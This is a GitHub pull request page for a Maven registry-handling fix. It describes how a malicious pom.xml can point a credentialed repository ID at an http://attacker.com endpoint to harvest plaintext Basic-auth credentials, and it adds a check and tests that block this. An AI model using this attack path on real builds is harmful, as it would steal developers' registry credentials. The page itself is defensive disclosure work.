Skip to content

clients/datasource: reject non-HTTPS Maven registry URLs when credentials configured#1931

Open
djvirus9 wants to merge 2 commits intogoogle:mainfrom
djvirus9:fix/maven-https-registry-credential-exfiltration
Open

clients/datasource: reject non-HTTPS Maven registry URLs when credentials configured#1931
djvirus9 wants to merge 2 commits intogoogle:mainfrom
djvirus9:fix/maven-https-registry-credential-exfiltration

Conversation

@djvirus9
Copy link
Copy Markdown

@djvirus9 djvirus9 commented Apr 2, 2026

Description:
Fixes #1877

What this fixes

AddRegistry() and updateDefaultRegistry() accept any URL from pom.xml without
validating the scheme. If a victim has credentials configured in ~/.m2/settings.xml
for a registry ID (e.g. central), an attacker-controlled pom.xml can redirect that ID
to an http:// endpoint. The client then responds to a 401 challenge by sending the
victim's credentials in plaintext.

Attack path:

  1. Malicious pom.xml declares <repository><id>central</id><url>http://attacker.com</url>
  2. AddRegistry() accepts the http URL, overriding the trusted registry for "central"
  3. Client loads registryAuths["central"] from settings.xml
  4. HTTP GET → attacker returns 401 + WWW-Authenticate: Basic
  5. Client re-requests with Authorization: Basic <base64(user:pass)> → credentials stolen

Fix

Before accepting a registry URL, check whether credentials are configured for that
registry ID. If they are, reject any non-HTTPS (and non-artifactregistry) scheme with a
descriptive error.

Tests

Added three tests in maven_registry_auth_test.go:

  • TestAddRegistryRejectsHTTPWhenCredentialsConfigured
  • TestUpdateDefaultRegistryRejectsHTTPWhenCredentialsConfigured
  • TestAddRegistryAllowsHTTPSWhenCredentialsConfigured

…ials configured

AddRegistry() and updateDefaultRegistry() now return an error when an
attacker-supplied pom.xml attempts to redirect a registry ID that has
credentials configured in settings.xml to a non-HTTPS URL.

Root cause: pom.xml can declare a <repository> with any <id> and <url>.
If the id matches a server entry in ~/.m2/settings.xml, AddRegistry()
would accept the http:// URL, and the client would later respond to a
401 challenge by sending the victim's credentials in plaintext to the
attacker-controlled endpoint.

The fix checks whether credentials are configured for the incoming
registry ID. If they are, any non-HTTPS and non-artifactregistry URL
is rejected with a descriptive error before the registry is accepted.

Fixes: google#1877

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
@google-cla
Copy link
Copy Markdown

google-cla Bot commented Apr 2, 2026

Thanks for your pull request! It looks like this may be your first contribution to a Google open source project. Before we can look at your pull request, you'll need to sign a Contributor License Agreement (CLA).

View this failed invocation of the CLA check for more information.

For the most up to date status, view the checks section at the bottom of the pull request.

@djvirus9
Copy link
Copy Markdown
Author

djvirus9 commented Apr 2, 2026

@googlebot I have signed the CLA! Please recheck.

@djvirus9
Copy link
Copy Markdown
Author

djvirus9 commented Apr 2, 2026

@googlebot I have signed the CLA on 21st March, 2026

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

Secure Maven pom.xml transitive dependency scanning

1 participant